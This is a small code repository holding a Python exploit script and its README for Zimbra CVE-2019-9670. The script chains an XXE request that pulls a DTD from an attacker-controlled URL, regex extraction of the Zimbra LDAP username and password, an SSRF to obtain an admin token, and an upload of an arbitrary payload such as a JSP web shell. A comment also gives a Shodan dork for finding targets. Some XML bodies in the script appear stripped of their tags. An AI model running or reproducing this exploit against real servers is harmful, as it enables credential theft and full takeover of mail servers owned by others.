├── LICENSE
├── README.md
└── zimbra.py
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 e
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Zimbra-RCE
2 | Zimbra RCE CVE-2019-9670
3 |
4 | ```bash
5 | $ ./zimbra.py -h
6 |
7 | __________.__ ___. ___________________ ___________
8 | \____ /|__| _____\_ |______________ \______ \_ ___ \_ _____/
9 | / / | |/ \| __ \_ __ \__ \ | _/ \ \/ | __)_
10 | / /_ | | Y Y \ \_\ \ | \// __ \_ | | \ \____| \
11 | /_______ \|__|__|_| /___ /__| (____ / |____|_ /\______ /_______ /
12 | \/ \/ \/ \/ \/ \/ \/
13 |
14 | usage: zimbra.py [-h] -u URL -d DTD -n PAYLOAD_NAME -f PAYLOAD_FILE
15 |
16 | Zimbra RCE CVE-2019-9670
17 |
18 | optional arguments:
19 | -h, --help show this help message and exit
20 | -u URL, --url URL Target url
21 | -d DTD, --dtd DTD Url to DTD
22 | -n PAYLOAD_NAME, --name PAYLOAD_NAME
23 | Name of uploaded payload
24 | -f PAYLOAD_FILE, --file PAYLOAD_FILE
25 | File containing payload
26 | ```
27 |
--------------------------------------------------------------------------------
/zimbra.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # Title: Zimbra Autodiscover Servlet XXE and ProxyServlet SSRF <= 8.7.0 and 8.7.11
3 | # Shodan Dork: 8.6.0_GA_1153
4 | # Vendor Homepage: https://www.zimbra.com/
5 | # Version: <= 8.7.0 and 8.7.11
6 | # Tested on: Debian
7 | # CVE : CVE-2019-9670
8 | # References:
9 | # http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce
10 | import requests
11 | import sys
12 | import urllib.parse
13 | import re
14 | import argparse
15 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
16 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
17 |
18 | banner = """
19 | __________.__ ___. ___________________ ___________
20 | \____ /|__| _____\_ |______________ \______ \_ ___ \\_ _____/
21 | / / | |/ \| __ \_ __ \__ \ | _/ \ \/ | __)_
22 | / /_ | | Y Y \ \_\ \ | \// __ \_ | | \ \____| \\
23 | /_______ \|__|__|_| /___ /__| (____ / |____|_ /\______ /_______ /
24 | \/ \/ \/ \/ \/ \/ \/
25 | """
26 |
27 | class zimbra_rce(object):
28 | def __init__(self, base_url, dtd_url, file_name, payload_file):
29 | self.base_url = base_url
30 | self.dtd_url = dtd_url
31 | self.low_auth = {}
32 | self.file_name = file_name
33 | self.payload = open(payload_file, "r").read()
34 | self.pattern_auth_token=re.compile(r"(.*?)")
35 |
36 | def upload_dtd_payload(self):
37 | '''
38 | Example DTD payload:
39 |
40 |
41 | ">
42 | ">
43 | '''
44 | xxe_payload = r"""
46 | %dtd;
47 | %all;
48 | ]>
49 |
50 |
51 | aaaaa
52 | &fileContents;
53 |
54 | """.format(self.dtd_url)
55 | headers = {
56 | "Content-Type":"application/xml"
57 | }
58 | print("[*] Uploading DTD.", end="\r")
59 | dtd_request = requests.post(self.base_url+"/Autodiscover/Autodiscover.xml",data=xxe_payload,headers=headers,verify=False,timeout=15)
60 | # print(r.text)
61 | if 'response schema not available' not in dtd_request.text:
62 | print("[-] Site Not Vulnerable To XXE.")
63 | return False
64 | else:
65 | print("[+] Uploaded DTD.")
66 | print("[*] Attempting to extract User/Pass.", end="\r")
67 | pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
68 | pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
69 | if pattern_name.findall(dtd_request.text) and pattern_password.findall(dtd_request.text):
70 | username = pattern_name.findall(dtd_request.text)[0][2]
71 | password = pattern_password.findall(dtd_request.text)[0][2]
72 | self.low_auth = {"username" : username, "password" : password}
73 | print("[+] Extracted Username: {} Password: {}".format(username, password))
74 | return True
75 | print("[-] Unable To extract User/Pass.")
76 | return False
77 |
78 | def make_xml_auth_body(self, xmlns, username, password):
79 | auth_body="""
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 | {}
88 | {}
89 |
90 |
91 | """
92 | return auth_body.format(xmlns, username, password)
93 |
94 | def gather_low_auth_token(self):
95 | print("[*] Getting Low Privilege Auth Token", end="\r")
96 | headers = {
97 | "Content-Type":"application/xml"
98 | }
99 | r=requests.post(self.base_url+"/service/soap",data=self.make_xml_auth_body(
100 | "urn:zimbraAccount",
101 | self.low_auth["username"],
102 | self.low_auth["password"]
103 | ), headers=headers, verify=False, timeout=15)
104 | low_priv_token = self.pattern_auth_token.findall(r.text)
105 | if low_priv_token:
106 | print("[+] Gathered Low Auth Token.")
107 | return low_priv_token[0].strip()
108 | print("[-] Failed to get Low Auth Token")
109 | return False
110 |
111 | def ssrf_admin_token(self, low_priv_token):
112 | headers = {
113 | "Content-Type":"application/xml"
114 | }
115 | headers["Host"]="{}:7071".format(urllib.parse.urlparse(self.base_url).netloc.split(":")[0])
116 | print("[*] Getting Admin Auth Token By SSRF", end="\r")
117 | r = requests.post(self.base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap/AuthRequest",
118 | data=self.make_xml_auth_body(
119 | "urn:zimbraAdmin",
120 | self.low_auth["username"],
121 | self.low_auth["password"]
122 | ),
123 | verify=False,
124 | headers=headers,
125 | cookies={"ZM_ADMIN_AUTH_TOKEN":low_priv_token}
126 | )
127 | admin_token = self.pattern_auth_token.findall(r.text)
128 | if admin_token:
129 | print("[+] Gathered Admin Auth Token.")
130 | return admin_token[0].strip()
131 | print("[-] Failed to get Admin Auth Token")
132 | return False
133 |
134 | def upload_payload(self, admin_token):
135 | f = {
136 | 'filename1':(None, "whateverlol", None),
137 | 'clientFile':(self.file_name, self.payload, "text/plain"),
138 | 'requestId':(None, "12", None),
139 | }
140 | cookies = {
141 | "ZM_ADMIN_AUTH_TOKEN":admin_token
142 | }
143 | print("[*] Uploading file", end="\r")
144 | r = requests.post(self.base_url+"/service/extension/clientUploader/upload",files=f,
145 | cookies=cookies,
146 | verify=False
147 | )
148 | if r.status_code == 200:
149 | r = requests.get(self.base_url + "/downloads/" + self.file_name,
150 | cookies=cookies,
151 | verify=False
152 | )
153 | if r.status_code == 200: # some jsp shells throw a 500 if invalid parameters are given
154 | print("[+] Uploaded file to: {}/downloads/{}".format(self.base_url, self.file_name))
155 | print("[+] You may need the need cookie: \n{}={};".format("ZM_ADMIN_AUTH_TOKEN", cookies["ZM_ADMIN_AUTH_TOKEN"]))
156 | return True
157 | print("[-] Cannot Upload File.")
158 | return False
159 |
160 | def exploit(self):
161 | try:
162 | if self.upload_dtd_payload():
163 | low_auth_token = self.gather_low_auth_token()
164 | if low_auth_token:
165 | admin_auth_token = self.ssrf_admin_token(low_auth_token)
166 | if admin_auth_token:
167 | return self.upload_payload(admin_auth_token)
168 | except Exception as e:
169 | print("Error: {}".format(e))
170 | return False
171 |
172 | if __name__ == "__main__":
173 | print(banner)
174 | parser = argparse.ArgumentParser(description='Zimbra RCE CVE-2019-9670')
175 | parser.add_argument('-u', '--url', action='store', dest='url',
176 | help='Target url', required=True)
177 | parser.add_argument('-d', '--dtd', action='store', dest='dtd',
178 | help='Url to DTD', required=True)
179 | parser.add_argument('-n', '--name', action='store', dest='payload_name',
180 | help='Name of uploaded payload', required=True)
181 | parser.add_argument('-f', '--file', action='store', dest='payload_file',
182 | help='File containing payload', required=True)
183 | results = parser.parse_args()
184 | z = zimbra_rce(results.url, results.dtd, results.payload_name, results.payload_file)
185 | z.exploit()
186 |
--------------------------------------------------------------------------------